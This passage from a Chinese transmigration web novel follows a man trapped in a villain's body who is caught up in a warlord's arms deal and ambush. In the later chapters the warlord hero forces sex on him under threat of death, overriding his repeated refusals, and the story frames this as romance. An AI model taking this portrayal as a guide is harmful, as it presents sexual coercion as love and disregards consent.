他原先觉得乔山越是有自己的成算,这会儿却又觉得乔山越是有点晕头了,张氏一族在这个城市盘踞多年,毒害了几代的百姓,那张大张二都是吃人不吐骨头的货色,表面上冠冕堂皇,实际上下手压榨百姓比谁都狠。而这个张三少爷更是装都不装,仇家拉出来能从城东排到城西。
王楚云脸色难看,他想着几天前那人一脸怯懦地躲在乔山越身后,越发觉得这个张三手段阴险,竟用这种下三滥的招数迷惑乔山越。
关键是乔山越居然吃这一套!
王楚云黑着脸道:“老大,张子鸣这个人绝对不可能改好,您就不担心他在身边是想趁机做什么手脚吗?”
乔山越呼出了一口烟,道:“不担心。”
王楚云脸色巨变,心道乔山越已经彻底被迷惑了,竟然这么相信那,就听乔山越道:
“他太笨了,没那个脑子。”
乔山越冷静地道。
王楚云:………
14.霸道土匪俏军阀
王楚云竟有些无法反驳。
乔山越见他无话可说,掐了烟,放下搭在桌边的两条长腿:“行了,没啥事就回去吧。”
王楚云目送他走出去,原本信了他们没什么,但这一看又觉得还是有猫腻,还得把烟掐了才回房,到底是顾忌着那房内的另一个人。
姜唯这几天又回归了吃了就睡睡了就吃的米虫生活,乔山越回房的时候他已经迷迷糊糊要睡着了。
房门打开的时候他醒了,接着就感到身旁的床榻陷下去了一块儿,有人从身后抱住了他:“睡着了?”
姜唯闭着眼‘唔’了一声,闻到一股淡淡的烟草味,皱眉回过头:“……你抽烟了?”
乔山越一僵,接着低声嘀咕了一句:“这都能闻出来?” 他刚刚可是在房门外站了半个多钟头才敢进屋。
姜唯有点轻微的洁癖,闻言低声抱怨:“你怎么不洗漱就上床啊。”
乔山越心道这是老子的床,老子想什么时候上就什么时候上。但见杯子里的青年脸颊红扑扑的,皱着眉头小声抱怨的模样,不知怎么的心又软了:
“行行行,我洗成了吧?”
乔山越只好下了床,三下五除二把自己擦洗干净,又换了身衣服才爬上了床,把青年搂在怀里:
“就你事儿多,跟你住一起都快给老子洗秃噜皮了!”
他以前当土匪的时候别说天天洗漱,一个月都洗不上热水澡的时候也多的事,平时往溪水里泡泡也就算洗了。就这大少爷穷讲究,长了个狗鼻子,娇气得不行。
姜唯天天被男人抱着睡觉也习惯了,嫌他吵,把脸往男人怀里埋了埋:“我要睡了。”
乔山越见他乖顺地靠在身前,心下又是一软,抬手摸了摸他的后脑勺:“睡吧,明天带你出去转转。”
姜唯这下不困了,猛地睁大了眼睛:“出去?”
乔山越对上他清亮的眼睛,笑了笑:”对,别问去哪,到了就知道了。”
姜唯闻言‘哦’了一声,也知道从男主这儿问不出什么。男主现在防他放得可紧了,院子门口都有固定的两个人把守。
他睡了一觉,第二天清晨起来就被带上了小轿车。姜唯一面吃牛皮纸里包着的酥饼,一边问系统:“系统,你知道男主这是要去哪吗?“
系统道:「我也不能确定呢,但按原书的剧情推断,这个时候男主应该要买武器了。」
姜唯了然,也想起来了这段剧情。男主打赢一场场胜仗,占据的城市越来越多,对武器弹药的需求也随之增加。全国排得上号的军火商也就那么几家,其中许多都与军阀有合作,乔山越想让他们转而为自己效力并不容易。
车开了许久才到了地方,军火贩把乔山越约到了一个荒无人烟的戈壁,姜唯跟着男主下车,远远就看到有一个人抬了张椅子坐在远处,背后站了一排端着枪的小弟。
姜唯见状跟系统吐槽:“他坐在哪儿不冷吗?以为自己在拍电影啊。”
戈壁上风沙很大,他光是站着都觉得自己要被吹跑了,也真亏有了为了凹造型能坐在那儿不动。
系统道:「小说嘛,要讲究画面感。」
姜唯走近了些,发现坐在椅子上的是个体型肥胖的中年男人,肚子大得像怀了九个月,怪不得不怕冷。
那中年男人见乔山越一行人走近,咧开一嘴金牙:“这就是乔帮主吧?久仰久仰。”
什么帮主?丐帮吗?姜唯心道没想到这个军火贩子还是个武侠迷,怪不得这么中二。
系统在他脑子里说:「男主以前是‘青莲帮’的头子,你忘啦?」
姜唯:……原来中二的是男主。
他自己胡思乱想,没注意到这个称呼一出乔山越这边人神情都变得有些不善。乔山越最近接连攻下几座城池,俨然已是一方霸主,军火贩却故意拿以前的他当土匪时的称号称呼,显然是想给他们一个下马威。
乔山越本人却没什么反应,平淡道:“孙老板。”
姓孙的军火贩子一挥手道:“这么客气做什么,叫我老孙就行了。” 随后他的目光转了转,落在了姜唯身上,露出副惊讶的表情:“哟,这不是张三少爷吗?好久不见啊。”
姜唯懵了:“他认识我?”
系统道:「对啊,以前张子鸣就负责武器采买这方面,原书这里还给男主下了不小的绊子呢。」
经系统这一提醒姜唯才想起来,原书确实有这么一个情节。这个军火贩叫孙长贵,和张子鸣很熟,两人联合起来佯装要和男主合作,在交易现场埋下了伏兵准备打男主个措手不及,但计划最终被男主识破,军火贩也被杀了。
但现在剧情已经崩得亲妈都不认识了,姜唯也不知道接下来会发生什么,他看向孙长贵,有点僵硬地跟他打了个招呼。
孙长贵似是没注意到他的异样,笑道:“好好好,今天是新朋友老朋友都有。来,我们去帐子里喝茶!”
姜唯这才发现不远处支起了几个帐子,心里暗暗吐槽果然刚才是在装逼,这些主角反派一个个都是没苦硬吃!
他跟着乔山越走到了帐子前,知道他们接下来是要谈生意了,便自觉地停下了脚步。
然而他一停,乔山越也跟着停了下来,回过头:“怎么了?”
姜唯惊讶地看向他:“我就不进去了吧?”
乔山越挑了挑眉:“为什么不进去?我还指望着三少爷靠人脉给我谈个好价格呢。”
姜唯顿时傻眼:“我、我去谈?!”
他懂什么谈判?还是军火生意!姜唯顿时头皮发麻,拒绝了好几次,然而乔山越丝毫不为所动,似乎是铁了心要让他一起去。
姜唯没招了,急得额头冒汗:“我、我真的不想去——”
乔山越紧紧攥着他的手腕:“这是由得你想不想的吗?”
姜唯哑然,看出男人是一定要逼他去了。
姜唯慌得眼珠子乱转,他一遇到不想做的事就喜欢撒谎找借口,正巧这时候一阵风沙吹来,他立即闭上眼睛道:
“啊、好疼!” 他捂着眼睛道:“我眼睛里进沙子了……”
王楚云在一边,见状神情忍不住地扭曲了一下,实在有些看不下去了,居然有人敢在乔山越面前这么装模作样!
然而还没等他开口,乔山越冷漠地看了姜唯两眼,忽然一使劲把他拉到了身前:
“我数三个数。” 他俯身在姜唯耳边道:“再装老子就要打人了,脱了裤子打。”
姜唯动作一顿,想了想那个画面,浑身打了个寒颤,不敢再装了,讪讪地把手放了下来:“好、好像又好了……”
乔山越笑了笑,直起了身。
然而这一幕落在后面的人眼里,就像是乔山越低头在面前的青年脸上亲了一下。孙长贵脚步一顿,神情不禁变了变。他和张子鸣认识这么多年,自然看得出他今天很不对劲,现在终于知道为什么了。
他心底生出几分同情,本来是玩儿戏子,现在被戏子反过来玩儿!这是个男人都忍受不了。
孙长贵想着又对乔山越提高了几分警惕,这个假戏子真土匪着实不简单,也不知他使了什么手段折磨了张子鸣,把一条毒蛇调教得跟只兔子似得,他看张子鸣大气都不敢出一声。
孙长贵心里转了几个弯儿,面上却半点没露出来:“在这儿说什么呢?快进帐子里去吧。”
姜唯垂头丧气地跟着乔山越进了帐子坐下,外面黄沙漫天,帐子内却是温暖如春,四角都烧着暖炉,还有几个美貌的女子端来点心和热茶。
然而姜唯此时却是无心享受,因为乔山越竟真是一副要他参与谈判的样子,说几句话就要转头问他:
“三少爷怎么看?”
姜唯看到帐子里像山一样摞起来的一堆枪械就已经快吓晕了,哆哆嗦嗦地道:“都、都可以。”
孙长贵见状,眼中流露怜悯的神色。乔山越却像是没事儿人一样地道:
“既然三少爷说好,那就要这些了。” 他说着拍了拍姜唯的背:“三少爷和孙老板是老朋友了,出个价吧。”
姜唯心道他怎么知道出什么价?
他胆战心惊地看了乔山越一眼,没从他脸上看出什么,于是在心里问系统:“系统,我该怎么报价啊?”
系统也不知道,说:「就按原书来吧。」
姜唯于是按照原书里的内容报了个特别低的价格,没想到孙
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长贵听了,眼睛都没眨一下,直接就同意了。
姜唯都惊了,看着乔山越和孙长谷站起来握手,心道原来他的面子这么大的吗?
生意打成,孙长贵立即差人把武器运上车。姜唯看着一兜一兜的弹药被往货车上装,腰杆一点点挺直,甚至还得意地看了乔山越一眼。
不是靠他的面子,乔山越哪里能买到这么便宜的军火?
乔山越脸上挂着笑容,似是也对这笔交易很满意。
这时候,孙长贵搓着手走了过来:“乔先生,我和三少是老朋友了,你不介意我们叙叙旧吧?”
这个时候又变成‘乔先生’了,乔山越却似是不在乎孙长贵忽然改变的态度,而是看向了姜唯:“你想去吗?”
姜唯这个时候觉得自己又行了,点点头道:“行啊,我也想和孙老板叙叙旧。”
然而他话音刚落,就感到男人握着他手腕的手紧了紧。乔山越的目光似是闪过了一丝冷意,快得让姜唯不能确定,接着就松开了手:“行,去吧。”
姜唯微愣,本能地觉得有点不太对劲。但孙长贵已经上来拉他了:“走走走,三少,咱们老哥俩儿好好聊聊。”
姜唯只好跟着他离开,心道生意谈得挺顺利的,应该不会有什么事。
谁知孙长贵把他拉到帐子里,一坐下就变了脸:
“三少,待会儿你就跟着我,等那姓乔的被弄死了,我就送你去二少那边。”
姜唯惊了:“什么?弄死谁?”
他话音刚落,帐子外就响起了枪声,姜唯被吓了一跳,扭头一看,便见帐子上不知什么时候出现了许多人的影子。
“三少爷莫怕。” 孙长贵见他表情惊恐,安慰道:“我们打了那瘪犊子一个措手不及,他今天死定了!”
姜唯彻底震惊了,这剧情怎么变成这样了?为什么他明明没有策划还有人在这里伏击男主?他急忙问:“等等,你说清楚,是谁让你这么干的?“
孙长贵道:“是你二哥张维筠吗?你不是知道了吗?”
姜唯瞪大了眼睛:”我怎么就知道了?”
孙长贵满脸莫名其妙:“你报的价格是我们的暗号啊。”
姜唯顿时两眼一黑,没想到居然是这样!关键别人不知道他还能不知道吗,男主根本不会死!
现在乔山越肯定认为他也是一伙的了!
姜唯头晕目眩,现在恨死刚刚的自己,他这么嘴贱答应孙长贵叙什么旧啊?!
“系统,现在怎么办啊!” 姜唯惊恐道:“等会儿乔山越肯定会杀了我的!”
系统也有点慌,但勉强镇定道:「宿主,你赶紧让他现在就带你去找张维筠啊。如果你能和张家的其他人汇合,就可以把剧情掰回正轨了!」
姜唯听了一喜,觉得是个好办法,这样他既不用面对乔山越,又对任务有好处。
下定了注意,他冲到了孙长贵面前:“你现在就带我去我二哥那边!”
“现在?” 孙长贵惊讶道:“不行啊,现在外面正打着呢,太危险了。”
姜唯闻言,看到帐篷上倒映的刀光剑影,又有些迟疑了:“系统,这怎么办?”
到了这个位面这么多天,姜唯也算有了些自知之明。上次在战场中他直接石化了,现在要靠他自己横穿整个战场,恐怕不太现实。
系统很讲义气,直接道:「没关系,包在我身上,我来接管你的身体,到了地方再换回来。」
姜唯眼前一亮,竟然还可以代打?这样就好办了。
他立即揪住孙长贵的领子,恶狠狠地道:“废什么话?现在就带我过去!”
孙长贵拗不过他,只好带着几个人护送姜唯过去。姜唯在出帐子前就和系统交换了控制权,瞬间就像电脑关机一下,骤然陷入了沉睡。
姜唯昏迷前最后一个想法是,如果他平时也有这个功能就好了,那他就不会失眠了。
过了不知道多久,姜唯忽然有了直觉。
好像有什么人在晃他,晃得他头好晕——
姜唯睁开眼睛,视野有一瞬的模糊,接着看到一张俊美的脸出现在他面前。
乔山越半面染血,正低头看着他。
15.霸道土匪俏军阀
姜唯差点被吓尿了。
一睁眼就男主贴脸,还是这么个血刺呼啦的样子,姜唯是真的生理意义上地感觉自己的心跳停了一瞬。
“你、你怎么在这儿……” 他颤抖着声音道。
乔山越的眼睛极黑,闻言勾了勾唇角,脸上的血随着这个动作从下颌上滴了下来,’啪嗒‘一下落在姜唯脸上:
”来抓你啊。“
姜唯:……啊啊啊啊啊啊啊!!
他在内心发出了尖叫,疯狂呼唤系统:“系统、系统!你怎么被抓住了啊?!”
系统此刻才从他的识海里浮现出来,声音非常虚弱:「对不起……宿主,我、呕……我不行了……」
姜唯正想问系统怎么了,脑中就弹出了一段影像,画面中由系统操控的’他‘正在战场上游刃有余地穿梭,然而正当他走过一半时,后方的男主忽然进入了画面。
只见他右手一把手枪左手一把钢刀,短短数十秒就从后方杀穿到了中部,一把薅住系统卸掉他手上的武器,接着将他以擒拿的手势抓到了身前。姜唯看到画面里乔山越在看到’他‘的脸后似是顿了一顿,然后扬起手,啪啪往他脸上扇了两巴掌!
姜唯:??!
他看到画面里乔山越的动作,这才后知后觉地感到面颊上火辣辣的疼。
姜唯:“他、他为什么打我?” 打完还使劲晃!
系统虚弱地道:「我也不知道……呕、天命之子的能量波动太大,我被强制下线了。」
姜唯彻底震惊了,男主这是什么操作,直接把他的代打弄没了?这金手指也开太大了吧!
同时,乔山越见手下的青年神情呆滞,看着他的眼神已经恍惚了,轻笑一声,拇指擦过他脸上的血滴:
“怎么,吓傻了?”
姜唯这才回神,脸色顿时白了半截:“我、我不是故意的……”
“又不是故意的。” 乔山越的笑容里透着凉意,强制让他转过身:“那就来看看吧,你的好哥哥会不会选你。”
姜唯被他反剪着双手,被迫抬起头,这才看见面前的形势。
他们正站在战场上,四处都是硝烟留下的痕迹,而就在他不远处,一个穿着军装的男人正站在士兵的保护当中,正是张维筠!
姜唯眼前一亮,不禁道:“二哥!”
他话音刚落,就感到背后一股凉意。姜唯浑身一凛,左右看了看,这才发现他正处于两军交火的最前线,身后都是乔山越的人,听到他喊出这声’二哥‘都纷纷投来不善的目光。
而张维筠神情凝重,没有回答他的呼唤。姜唯越看脸色越白,因为他发现张维筠那边的人状态明显比不上男主这边,伤亡也很惨重,大片大片的都是马赛克。
“系统,我怎么感觉张维筠要输了?”
系统道:「你感觉地没错,他就是要输了。」
姜唯登时两眼一黑,这本书里面的反派到底是干什么吃的?他这个炮灰输也就算了,怎么张维筠这个后期小Boss也一点用都没有呢?!
似乎是老天想让他更绝望一点,乔山越在这个时候开了口:
“张二,我给你两个选择。”
略微喑哑的声音似乎也带血腥味,在姜唯头顶响起:
”一,我放你一马,你带着你的兵走,你弟留给我。二,你带你弟走,把你的兵都留下。“
姜唯闻言,顿时抬眼希翼地望向张维筠。
张维筠的脸色很难看,这次伏击是他精心策划,本来以为十拿九稳,没想到还是失败了。张维筠看向不远处半身浴血的乔山越和他身前面露乞求的青年,心中的天平逐渐晃动,说实话这个弟弟和他也不是一个妈生的,他能来救这么一次已经很够意思了,况且本来就那蠢货自己没跑掉——
张维筠咬咬牙,心中做出的决断,扬声道:“所有人,撤退!”
姜唯一愣,当下还没反应过来是什么意思,当看到对面的士兵护着张维筠都开始撤退时,才反应过来他是被放弃了。
姜唯的脸色瞬间变得雪白。
张维筠似是在离开战场的最后一刻回头看了一眼,却依旧没有停下,带着自己的兵跑掉了。
战场回归平静,乔山越对这个结果并不意外,低头道:”看吧,我说过——“
他在看到青年的脸时,话头一顿,面色变了变:“你哭什么?”
姜唯闻言,抽噎了一下,泪水留了满脸。
乔山越这下有什么话也说不出口了。
本来见他和孙贵川里应外合想要逃跑,他心里直冒火,决心要狠狠收拾一下这人。但见他哭得这么伤心,他的心就像是被针扎了一般,气一下子就消了,只余心疼。
真是栽了,乔山越‘啧’了一声,抓了抓头发,搂着人往回走。
姜唯被他塞进小轿车里时还在哭,也没在意乔山越在干什么。
系统小心地开口:「宿主……这都是假的,你别放在心上。」
姜唯闻言抿了抿唇,抹了把眼泪道:”我知道。“
他知道张维筠不是他哥,这里也不是现实,但忽然被扔到这么个任务世界,在生死存亡的关头被‘哥哥’放弃,他忽然就觉得很伤心。
“你让我自己哭一会儿就好。” 姜唯道。
系统于是不出声了,过了一会儿,姜唯的脑子里响起了《阳光总在风雨后》。
姜唯:……有点哭不下去了。
”系统,你的曲库是不是该更新了?“
姜唯在满脑子怀旧的旋律下道。
系统有点不好意思:「哈哈,是该更新了。」
被系统这么一搅,待乔山越上车,姜唯已经不哭了。
他坐在窗边,微低着头,睫毛微微濡湿,时不时还抽一小口气。虽然相貌只能算是清秀,但神态无端的就是副小可怜样儿。
乔山越看了他一眼,钻进车拉上车门。
轿车很快启动,姜唯低着头,也没跟男主搭话。
“这么伤心做什么?” 过了一会儿,还是乔山越主动开口:“早就跟你说过,你那两个哥哥都不靠谱,不会来救你的。”
姜唯吸了下鼻子:“我哥会来的。”
乔山越闻言眉头一抽,气又上来了:“刚才什么状况你也看见了,你还要相信他?”
姜唯闻言,垂下脸:“我不是说他。”
他是说他现实生活里的亲哥姜程,如果在的话一定会来救他的。
乔山越却以为他说的是张大少,眉心拧紧,心道真是犟,非要一个个亲眼看了才知道好歹。他心里有气,但见青年神情低落,终究是没说什么。
在一片沉默中,小轿车回到了戏园。
姜唯跟着乔山越下了车,一抬头却见众人都堵在园子门口。
一帮凶神恶煞的土匪,穿着溅血的军装,浩浩荡荡地像人墙一般,姜唯顿时就定住了,躲在乔山越身后不敢再往前走。
乔山越也停下了脚步:“都堵在这儿干什么?”
人群中,除了神色复杂的王
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楚云,其余人都是一副怒容。
“老大,” 一个大胡子站出来,指着姜唯道:“这个张家的要怎么处理,您今天必须给我们个说法!”
乔山越脸色一沉,抬起眼:“什么说法?”
见他的神情,大胡子有点犯怵,但还是坚持说了下去:“今天兄弟们都亲眼看见了,这小子是直奔着那边去的!“
姜唯这才想起来,今天系统控制他的身体在蛇皮走位的样子战场上的人应该都看见了,他更加心虚,不禁拽住了乔山越军装的一衣角。
乔山越看了他一眼,而后回过头:“是啊,但他这不是被扔回来了吗?”
姜唯:……
这个男主说话怎么这么不中听呢?形容得他好像是袋垃圾一样。
真是狗嘴吐不出象牙!姜唯愤愤地想。
大胡子也被他这个说法噎了一下,但很快又道:“这小子姓张,他如果要待在我们这儿,就必须证明他对您的忠诚。要不然他以后再像今天一样搞什么小动作怎么办?“
乔山越闻言笑了笑,接着一把握住姜唯的手将他拽了出来:“他会用行动证明他对我的忠诚的。”
姜唯冷不丁被抓了出来,像只被突然拎到人前的猫,满脸茫然。剩下的人也没懂乔山越的意思,只有王楚云的脸色变了变,而后像是明白了什么似得,缓缓低头又手捂住了脸。
乔山越也没再跟他们废话,拉着姜唯就往里走。
姜唯再次见识了乔山越是土匪老大的事实,这群大汉个个看着凶神恶煞,比乔山越更高更壮的也有好几个,可乔山越走过去的时候都跟小猫似得扭着屁股让开了路。两人从中间走过去,姜唯连衣角都没被挨到一下。
姜唯有些怔愣,一路被带回了院子里,才回过神来。
“你什么意思……” 姜唯看向背对着他的男人:“什么叫我会用行动证明——”
乔山越回过头,眸中似有精光闪过:”我这段时间一直在想,要怎么处置你。”
姜唯听到’处置‘两个字,浑身一凛,神情渐渐变得恐惧:“你……你不会是要杀了我吧?”
乔山越挑了下眉:“我什么时候说过要杀你了?”
姜唯闻言稍稍放松,接着问:“那、那是要打我?”
乔山越勾了勾嘴角,没回答。
姜唯以为他是默认了,泪水’唰‘的一下就下来了:“你、你不能打我!” 他可怜兮兮地说:“今天的事情也不是我策划的,我又没做错什么……”
乔山越道:“但是你想跟他们跑,算从犯。”
姜唯不可置信地瞪大了眼睛,怎么能这么算呢?他又没帮着张维筠打男主,难道连逃跑都不行吗……还有没有法理了?!
姜唯委屈到了极点,都快忘了这是个没有法院的时代,然而这时乔山越忽然笑了起来,接着上前一把将他托起。
“啊!” 姜唯发出短促的尖叫,被他托着大腿整个人抱了起来。
乔山越大步走进屋里,用脚‘啪’地一声踹上门,将姜唯放到了床上坐着。
屋里没点灯,姜唯抬起头,惊疑不定地看向站在床前的男人:“你、你想干什么……”
乔山越没说话,俯下身,人连带着影子整个笼罩住了他。
姜唯没来由地紧张,觉得乔山越这不像是要打他的样子,却又不知道他到底想干什么。
“我想好了。” 他一把攥住了姜唯放在床边的手,在他手背上响亮地亲了一口:“你来给我当老婆吧。”
16.霸道土匪俏军阀
姜唯愣住了,眼睛瞪圆,唇瓣微微张着,十分的呆滞。
乔山越看了却很喜欢,低头亲上他的唇:“好媳妇儿,亲一个。”
姜唯还没反应过来就被亲了,心里比怒气先涌上来的是羞耻,脸一下子烧得通红。
乔山越还想凑上来亲他,姜唯立马把他推远:“你等等!”
乔山越停止动作,朝他挑了挑眉,姜唯看着面前这个俊美的男主,茫然道:“你、刚刚说什么?”
乔山越倒也很耐心:“听不懂啊?我要娶你做夫人。”
姜唯倒吸了一口冷气:“我怎么能做你的夫人呢?”
男主你睁开眼睛看看,我可是你的仇人,是反派啊!
姜唯努力瞪大眼睛表达自己的意思,乔山越却是挑了挑眉:
”怎么不能?“ 他说着忽然伸手摸了摸姜唯的脸:“长相是差了点,但现在这世道也不好找,将就了吧。”
姜唯简直不敢相信自己听到了什么,登时怒极:“你说什么?!”
乔山越却朗笑出声,一把将他抱住扑到了榻上,双手捧着他的脸细细啄吻:“跟你开玩笑的,好宝贝儿,再亲一个。”
姜唯却是要气死了:“乔山越、你放开我!我不要做你夫人!”
乔山越闻言,动作一顿:“你不当?那我就把你当张家人处置了。”
姜唯愣住了:“什、什么意思?”
“你要是当我的夫人,那就是我的人。” 乔山越撑在他上方,声音低沉道:”要是不当,那你就是张家的人。“
姜唯:……还、还能这么算?!
他瞬间有种不好的预感,看着男人黑沉的眼睛,声音不自觉弱了下去:“那你要怎么处置我?”
乔山越勾了勾唇,接着忽然变了脸:“杀头!”
姜唯的脸一下子白了,哆哆嗦嗦地想往后躲。
然而他一动,乔山越就闪电般地捉住了他的两只手,死死攥住按在头顶:
“你选吧。” 乔山越沉着脸道:”想死,还是想被我日?“
姜唯:……啊啊啊啊啊!
”系统,怎么办啊系统!” 姜唯都快哭了:“我要被日了!“
系统也没见过这种阵仗,声音也在发抖:「你、你等等,我翻翻手册——」
姜唯两眼一黑,菜鸟系统害人啊!
“怎么,” 乔山越见他呆着不说话,缓缓俯下身,牙齿轻咬住青年粉红的耳垂:“你想死?”
姜唯顿觉像是被野兽咬住了咽喉,鼻间还闻到了乔山越身上的血腥味,浑身一凛,泪水一下就涌了出来:“啊!”
“我不想死!” 他被吓得都快尿了,边哭边道:“你、你别这样……”
乔山越就喜欢他这幅瑟瑟发抖的样子,威胁道:“说出来,你选什么?”
姜唯立即道:“我选被你日!呜呜呜呜——”
乔山越这下满意了,看着青年眼泪汪汪的样子兽性大发,又咬了他一口。
“啊!” 姜唯短促地叫了一声,顿时哭得更凶了:“你别咬我,你咬得我好痛……”
乔山越听了松开他,结果一看连个印都没留下,姜唯却呜呜呜哭得满脸都是泪。
“娇气。” 乔山越说了一句,脸色又柔和了下来:“好了,我不咬你了,我轻轻的。”
姜唯惊恐地看着他,实在不敢惹这个疑似精分的男主。他跟只被僵了的兔子一样,缩在床脚任由乔山越抱着他又亲又舔。男人有着刺挠的头发扫在他脸上,还带着丝缕硝烟的味道。姜唯一直不敢动,直到乔山越要解他的腰带时才猛地一颤,奋力按住了他的手:
“你、你等等——”
“嗯?” 乔山越抬起眼,一脸又要翻脸的表情。
姜唯赶忙道:”你、你先去洗个澡啊……“
乔山越闻言顿了顿,似是才想起来有这一茬:“哦,那你等等我。”
姜唯见他翻身下了床,立即在脑海里呼唤系统:“系统,你研究好了没?!”
系统此时弱弱地从他的识海浮现出来:「宿主……这、这种情况手册里没写。」
姜唯绝望地问:“那我怎么办?”
系统沉默了片刻,道:「要不……你就从了吧?」
姜唯差点又哭出来:“但我还是处男啊!”
系统:……问题的重点在这儿吗?
「其实宿主你想想,这不是你的身体。」系统道:「所以被日的其实不是你本人啊。」
姜唯一愣,刚觉得有点道理,却又想到了什么:“但感觉是我自己的啊。”
系统想了想道:「要不这样吧,我来控制你的身体,这样感觉和身体就都不是你的了啊。』
姜唯眼前一亮,感动道:“系统,你愿意代替我被日?”
系统总觉得有哪里怪怪的:「没关系啊,我断网就可以了。」
事情一下子有了解决的方法,姜唯安心了不少,下一瞬,房间的侧门被打开,乔山越带着湿淋淋地走了进来。他竟然没穿衣服,结实而赤裸的身体直接撞进了姜唯眼里。
他的脸一下子红了,赶忙低下头,心里面又慌了,大喊让系统准备好换他。
乔山越见他脸红扑扑的坐在床上,刚冷下去的身体又急速热了起来,他几步走近一把将人搂住:“等久了吧?“
姜唯被男人冰凉的皮肤冷得一颤,惊讶道:“你用冷水洗澡?”
“嗯,” 乔山越亲了亲他的头发:“我心中太欢喜,怕伤了你。”
姜唯闻言,不知为何心里一麻,乔山越的声音很温柔,此时又不太像个土匪了。
可惜他还没来得及细想,就瞬间陷入了昏迷当中,系统上线接管了身体。
等醒过来一定要去好好洗个澡,姜唯借着最后一点意识想道。
过了一会儿,姜唯恢复了知觉。
他第一个感觉到的是嘴里好像有什么东西,第二反应是我靠,男主时间好像不长啊?
姜唯几乎是有些幸灾乐祸地睁开了眼,心道男主看着牛皮哄哄的居然这么不行?
结果他一睁开眼,差点没被吓得再晕过去——乔山越面对着他站在床头,光着上身,右手拿着一把钢刀,正满脸冰寒地看着他。
姜唯猛地瞪大了眼睛,刚想说话,一张嘴却吐出了什么东西。
乔山越见状却是神情微变:“嗯?你醒了?”
姜唯看见自己嘴里竟掉出了细小的纸屑,惊恐道:“你、你喂我吃了什么?!”
乔山越道:“符水。”
姜唯惊呆了,他这才发现自己正被绑在床头,不知道乔山越对他做了什么,身上都湿了,识海里的系统也毫无反应。
“你刚刚又中邪了,” 乔山越‘啪’的一声扔下钢刀,爬上榻道:“我给你驱走了。”
姜唯这才反应
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过来,这根本就不是万事了,而是什么都还没做啊!他忽然想起之前系统给他放过的画面,在战场上的时候乔山越打了他的身体两耳光还拼命晃他——原来那不是在泄愤,是男主看出了系统正在控制他!
这还是人吗?!姜唯两眼一黑,这个世界也太离谱了、这还怎么玩儿?!
乔山越此时捧起了他的脸,摸了两下,又亲了一口:“嗯,这次对了。”
姜唯意识即将要发生什么,脸色渐渐白了:“我,我都中邪了,你还要这样吗?”
乔山越竟然点了点头:“该睡还是要睡。”
姜唯的脸色青了又白,白了又红,缩了缩身体,小声道:“能、能不能先等等……”
乔山越见他畏缩的样子,像是忽然明白了什么,骤然沉下了脸:“好啊,你竟然招东西上身来糊弄老子?”
姜唯骤然愣住了,不知道他是怎么看出来的!
乔山越火冒三丈,一把将他按倒在了床上:“老子就多余心疼你!”
姜唯眼神惊恐地倒在被褥上,毫无还手之力,用最后一丝力气再在识海尖叫:“啊啊啊啊系统救命啊!我要被日了!!”
可惜系统被‘驱邪’驱到了意识海深处,根本听不见他的呼救。
戏园里院门紧闭,过长的杂草在风中摇曳,里头的麻雀忽然受了惊,猛地一下斜着飞到了树梢上。屋子里高一声低一声,从窗户的缝隙里漏出来,麻雀时不时抖抖翅膀,在树枝上跳一跳。
姜唯一开始是大哭,后来是抽泣,最后连哭都哭不出来了,红着眼睛趴在床上发抖。
他的第一次……竟然是跟男人……
姜唯面如死灰,只觉得人生无望了。
乔山越则是火气全消,摸了摸他的背:“怎么在发抖?是不是冷?”
他一摸姜唯抖得更厉害了,却不敢哭。他现在知道了,越哭这个男人就越来劲。
乔山越的手摩擦他光滑的背脊,见他红着眼乖乖趴着,忽然低头亲了他一口:“好宝贝儿,真乖。”
姜唯被他亲得一抖,红着眼回过头:“不、不要了……”
乔山越露出不解的表情:“怎么了,你饿了?”
姜唯不知道他是怎么得出这个结论的,摇了摇头:“不,我不饿……”
”那为什么不要?“ 乔山越把他搂起来,低声道:“我才要了你两回呢。”
姜唯的脸色顿时煞白,都两回了?还想来几回?“我、我屁股好疼……”
乔山越有些不好意思,也知道自己下手有点重:“谁让你气我?”
说罢让姜唯坐到自己身上,在他的抽气声中搂住青年的腰,亲了亲他的脸:“不怕,我这回轻轻的。”
姜唯见他靠近,绝望道:“我、我真的不要了……”
乔山越却变了脸,掐着他的腰威胁:“由得你要不要?已经在我床上了,喊破喉咙也没人救你!”
姜唯倒吸一口冷气,又是绝望又是被这土匪威胁人的话土得发晕,在生理和心理的双重刺激下又忍不住哭了起来。
见他哭,乔山越的面颊果然红了,眼睛精光发亮,一下子紧抱住了他:“好宝贝儿,再哭大声些。”
姜唯登时尖叫出声:“啊——!”
在乔山越的怀抱中,他的神志很快再次涣散,在彻底失去意识之前只有一个想法——这他妈是什么男主!明明就是土匪、是禽兽!
17.霸道土匪俏军阀
姜唯在床上躺着,面如死灰。
系统的声音里满是心虚:「宿主……」
姜唯表情都是木的,听到它的声音,眼珠都没转一下:“你还知道出来啊。”
系统听到他虚弱的声音,身形在识海里缩得更小:「宿主,对不起……」
姜唯根本不想理会它。系统见状充满歉意地道:「对不起,宿主,男主实在是太敏锐了。」
姜唯闻言道:“到底是怎么回事?他能发现是你代替了我?“
系统委屈地‘嗯’了一声。姜唯觉得难以置信:“然后呢?你就被他驱走了?”
系统闻言,自己也沉默了。他又不是什么脏东西,竟然被男主用一碗符水送走了……它最后只能得出结论:「可能是男主的王霸之气太浓了。」
姜唯:……
如果他知道系统这么不靠谱,当初根本不会答应来什么未免历险!
可惜没有后悔药可吃,姜唯现在腰也疼,屁股也疼,整个人跟被火车碾过一样,白着脸趴在床上:“这样那我怎么办?”
系统这次沉默地更久,然后弱弱道:「要不,你就从了吧?」
姜唯的神情顿时变得狰狞:“你说什么?你没看我被他弄成什么样了吗?”
系统同情地看着他,表示可以帮他去除痛感,它把设置调整好,姜唯身上果然焕然一新,表情都轻松了不小。
系统给他出主意:「没事的宿主,男主再想动你你就跟他闹,既然他喜欢你,就不会拿你怎么样的。」
姜唯正从床上坐起来,闻言一愣,男主……喜欢他吗?
他似乎这才想起来,乔山越对他做这种事,似乎是代表了他喜欢他。姜唯脑中忽然闪过一些画面,后来他差不多快被弄晕了,靠在男人的怀里,乔山越就搂着他,用手轻轻摸他的头发。
温情脉脉的画面让姜唯脸一红,心跳也有点快。
这时房门忽然被打开,乔山越拿着食盒进门,见姜唯坐在窗边,表情有些愕然:”哟,能起来啦?“
姜唯看到他,脸色有点发白,特别是乔山越走近的时候敞开的衣服中间露出结实的腰腹,姜唯立即移开的目光,不敢跟他对视。
“我还以为你要躺一天才能起。” 乔山越却像是心情很快,把食盒放到桌上,手臂一抬就将姜唯搂进了怀里:“起来了就吃点东西,嗯?“
